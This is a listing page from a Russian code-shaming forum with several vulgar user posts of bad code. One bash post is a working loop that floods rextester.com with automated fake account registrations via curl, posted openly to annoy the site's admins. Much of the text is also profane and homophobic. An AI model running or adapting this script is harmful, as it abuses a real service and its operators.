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Куча / Говнокод #24019

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Ёб твою напровыеб, из-за ёбаного Кемерово отменили передачу "Давай поженимся". Мне что теперь делать?

AnusHunter, 27 Марта 2018

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Куча / Говнокод #24018

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30JloTou_xyu, 27 Марта 2018

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C# / Говнокод #24017

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catch
{
    Assert.IsTrue(false);
}

Код в нутри теста

AleXK, 27 Марта 2018

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PHP / Говнокод #24016

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primary(this, "в рот ебись');
// Php говно мамонта и когда я его вижу хочется въебать в монитор кулаком чтоб развалился нахуй и выебался нахуй в рот. Уже давно есть nodejs в котором писать приятнее и возможностей больше, так что сосите нахуй разработчику на nodejs платят столько же блять 300К в месяц заебись да? Короче выбор нахуй есть! А дрочеры пошли нахуй с этого сайта, тут место обсуждения современных технологий

fuckercoder, 27 Марта 2018

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JavaScript / Говнокод #24015

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'use strict';

function map(fn, array) {
	let arr = [];
	for(let i of array)
		arr.push(fn(i));
	return arr;
}

function take(fn, count) {
	var arr = [];
	for(let i = 0; i < count; i++)
		arr.push(fn());
	return arr;
}

function sequence(start, step)
{
	step = step || 1;
	start = start || 0;
	start-=step;
	return function() {
		return start+=step;
	}
}

function fmap(a, gen) {
	return (...args) => {
		if(args.length > 0)
			return a(gen(...args));
		else
			return a(gen());
	};
}

function partial(fn, ...args) {
	return (...twoArgs) => {
		let newM = args.slice();
		for(let k of twoArgs)
			newM.push(k);
		return fn(...newM);
	};
}

function partialAny(fn, ...args) {
	return (...twoArgs) => {
		let newM = args.slice();
		let k = 0;
		for(let i = 0; i < newM.length; i++)
			if(newM[i] === undefined)
				newM[i] = twoArgs[k++];
		while(twoArgs[k] !== undefined) {
			newM.push(twoArgs[k]);
			k++;
		}
		return fn(...newM);
	};
}

function bind(fn, context) {
	return (...args) => {
		return fn.apply(context, args);
	};
}

function pluck(objects, fieldName) {
	let a = [];
	for(let i = 0; i < objects.length; i++)
		if(objects[i][fieldName] !== undefined)
			a.push(objects[i][fieldName]);
	return a;
}

function filter(arr, fn) {
	let a = [];
	arr.forEach((item, i, arr) => {
		if(fn(item))
			a.push(item);
	});
	return a;
}

function count(arr) {
	return Object.keys(arr).length;
}

var a = { a: 1, b: 2 };
console.log(count(a)); // 2
var b = function () {};
console.log(count(b)); // 0
var c = [1, 2, 3];
console.log(count(c)); // 3
var d = [];
d[100] = 1;
console.log(count(d)); // 1

Ня (^_^)
Суперкодики!

fuckercoder, 27 Марта 2018

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bash / Говнокод #24014

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#!/bin/sh

declare -i count=0
while true; do
	tmp=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
	tmp=${tmp:0:100}
	user=$(echo -n $tmp| tr 0-9 K-Z)
	password=$tmp
	# echo -e "\n\e[0;96mLogin: \e[0;97m$user"
	# echo -e "\e[0;96mPassword: \e[0;97m$password"
	curl --connect-timeout 10 -A "I that sends all fuck" -d "RegName=${user}&RegPassword=${password}&Submit1=Register" http://rextester.com/login 2>&1 | grep "Object moved" &>/dev/null
	ret=$?
	if [ "$ret" -eq 0 ]; then
		#echo -e "\e[0;92mRegistration done\n"
		((count++))
		echo -e "\e[0;92m$count"
	else
		echo -e "\e[0;91mfail"
	fi
	usleep 10000
done

Да здраствуют издевательства над тупыми админами!!!

fuckercoder, 27 Марта 2018

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Куча / Говнокод #24013

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Слушать в 2018-м году в двадцать семь лет "Зеленоглазое такси" в исполнении старпёра Боярского - это уже дно или ещё нет?

CrashTesterGland, 26 Марта 2018

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Куча / Говнокод #24012

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Знаете, что меня заебало?

CrashTesterGland, 26 Марта 2018

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C++ / Говнокод #24011

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//Шапка таблицы

cout << setw(10) <<char(218) <<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(194)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(194)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(191) <<endl;

cout <<setw(10) <<char(179) <<setw(10) <<"X" <<setw(10) <<char(179) <<setw(10) <<"F" <<setw(10)

<<char(179) <<setw(10) <<"G" <<setw(10) <<char(179) <<endl;

for (i = 0; i <= N; i++) {

x = A + i*h;

F = (x-1)*(x-1)*(x-1);

G = ((x+5)*(x+5)*(x+5))/(1+(sin(x)*sin(x)));

//Вывод в таблицу

cout <<setw(10) << char(195)

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<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(197)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(197)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(180)<<endl;

cout << setw(10) << char(179) << setw(10)<< x << setw(10) << char(179) << setw(10)<< setprecision(5) << F << setw(10) << char(179) << setw(10) << setprecision(6) << G << setw(10) << char(179) << endl;

} //for (i = 0; i <= N; i++)

//Конец таблицы

cout << setw(10) << char(192)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(193)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(193)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)<<char(196)

<<char(217)<<endl;

eto pizdez prosto, ya lettau blyad

ETO_LABbl_DETKA, 26 Марта 2018

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Lua / Говнокод #24010

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if(SERVER)then 
util.AddNetworkString("gay_seks")
 util.AddNetworkString("natural_seks") 
util.AddNetworkString("daite_exp")
AddCSLuaFile("")
 local autismo_rangs = { "Рядовой",
 "Ефрейтор",
 "Сержант",
 "Старшина",
 "Прапорщик",
 "Лейтенант",
 "Капитан",
 "Майор",
 "Подполковник",
 "Полковник",
 "Генерал",
 "Маршал",

  "nope" } 
local function ebat( ply )
 ply:SetNWString("xp_nado",tostring(ply:GetPData("xp_nado",50))) 
 ply:SetNWString("xp_xp",tostring(ply:GetPData("xp_xp",0))) 
 ply:SetNWString("xp_rang",autismo_rangs[tonumber(ply:GetPData("xp_rang",1))]) 
end 
local function lvlup( ply ) 
if(tonumber(ply:GetPData("xp_xp",0)) > tonumber(ply:GetPData("xp_nado",50)))then 
ply:SetPData("xp_nado",ply:GetPData("xp_nado",50)*2) 
ply:SetPData("xp_xp",0) 
ply:SetPData("xp_rang",ply:GetPData("xp_rang",1)+1) 
ebat(ply) 
net.Start("natural_seks") 
net.Send(ply) 
else 
ebat(ply) 
end 
end 
net.Receive("daite_exp",function(_,ply) 
ply:SetPData("xp_xp",ply:GetPData("xp_xp",0)+5)
 net.Start("gay_seks")
 net.WriteString("+5")
 net.Send(ply)
 lvlup( ply )
 end)
 hook.Add("PlayerDeath","seks_s_nikitoi",function( victim, inflictor, attacker ) 
 if ( victim != attacker ) then
 attacker:SetPData("xp_xp",attacker:GetPData("xp_xp",0)+1)
 lvlup(attacker)
 net.Start("gay_seks")
 net.WriteString("+1")
 net.Send(attacker)
 end 
 end) 
 hook.Add( "PlayerInitialSpawn", "sex_s_azisom", ebat )
 else 
 surface.CreateFont( "motd_font", { font = "Arial", extended = true, size = 20, weight = 500, blursize = 0, scanlines = 0, antialias = true, underline = false, italic = false, strikeout = false, symbol = false, rotary = false, shadow = false, additive = false, outline = true, } )
 local function Sex(str) 
 print(str)
 if(IsValid(Sexmenu))then
 Sexmenu:Remove() 
 hook.Remove( "HUDPaint", "4CB_2")
 end 
 hook.Add( "HUDPaint", "4CB_2", function() 
 draw.Text( { text = str, pos = { ScrW()/2-100, 60 }, font = "motd_font" }) end ) 
 Sexmenu = vgui.Create( "DFrame" ) 
 Sexmenu:SetSize( 400, 40 ) 
 Sexmenu:SetPos(ScrW()/2-200,5) 
 Sexmenu:SetTitle( "" ) 
 Sexmenu:ShowCloseButton(false) 
 Sexmenu:SetDraggable( false ) 
 Sexmenu.cal = 255 
 Sexmenu.Paint = function(s,w,h) 
 draw.RoundedBox( 10, 0, 0, w, h, Color(0,0,0,Sexmenu.cal) ) 
 if(Sexmenu.cal > 150)then 
 Sexmenu.cal = Sexmenu.cal-1 
 else 
 Sexmenu:Remove() 
 hook.Remove( "HUDPaint", "4CB_2") 
 end 
 draw.RoundedBox( 10, 20, 10, w-40, h-20, Color(100,100,100,Sexmenu.cal) ) 
 draw.RoundedBox( 10, 20, 10, tonumber(LocalPlayer():GetNWString("xp_xp",0))*(360/tonumber(LocalPlayer():GetNWString("xp_nado"))), h-20, Color(100,100,255,Sexmenu.cal) ) 
 draw.RoundedBox( 10, 20+(tonumber(LocalPlayer():GetNWString("xp_xp",0))*(360/tonumber(LocalPlayer():GetNWString("xp_nado"))))-10, 10, 10, h-20, Color(150,150,255,Sexmenu.cal) ) 
 end 
 end 
 hook.Add( "HUDPaint", "4CB", function() 
 draw.Text( { text = "Ты : "..LocalPlayer():GetNWString("xp_rang","gay_hacker")..", до следующего ранга: "..tonumber(LocalPlayer():GetNWString("xp_nado",50))-tonumber(LocalPlayer():GetNWString("xp_xp",0)).." XP", pos = { 10, 10 }, font = "motd_font" }) 
 end ) 
 net.Receive("gay_seks",function() Sex(net.ReadString()) 
 end) 
 net.Receive("natural_seks",function() 
 RunConsoleCommand("say","Ура! Я теперь - "..LocalPlayer():GetNWString("xp_rang","gay_hacker")) sound.PlayURL ( "http://prayingforpapers.com/download/Kaihgd_F10kUJ8Hy5ip-fu9FajZ271b4nbYu_Mszc6nPJ2a2HmS-vaFnyqjFspFlTy9YCBzh-4TD7k-JKQz9Zb4RZvHJQUI4fPzxcd2aD6c/%D0%9B%D0%B2%D0%BB+%D0%B0%D0%BF+%D0%BE%D1%83%D1%83+%D0%BC%D0%B0%D0%B9+%D0%BB%D0%B0%D1%84+%D0%B7%D0%B2%D1%83%D0%BA(prayingforpapers.com).mp3", "mono", function( sinok ) sinok:Play() end ) end) local function DAIMOEGOMNO() net.Start("daite_exp") net.SendToServer() timer.Simple(900,function() 
 DAIMOEGOMNO() 
 end) 
 end 
 timer.Simple(900,function() DAIMOEGOMNO() end) 
end

[Garry's Mod Lua]

Код нужен для выдачи рангов игрокам.

Нету табуляций.

milkymax775, 26 Марта 2018

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Говнокод: по колено в коде.

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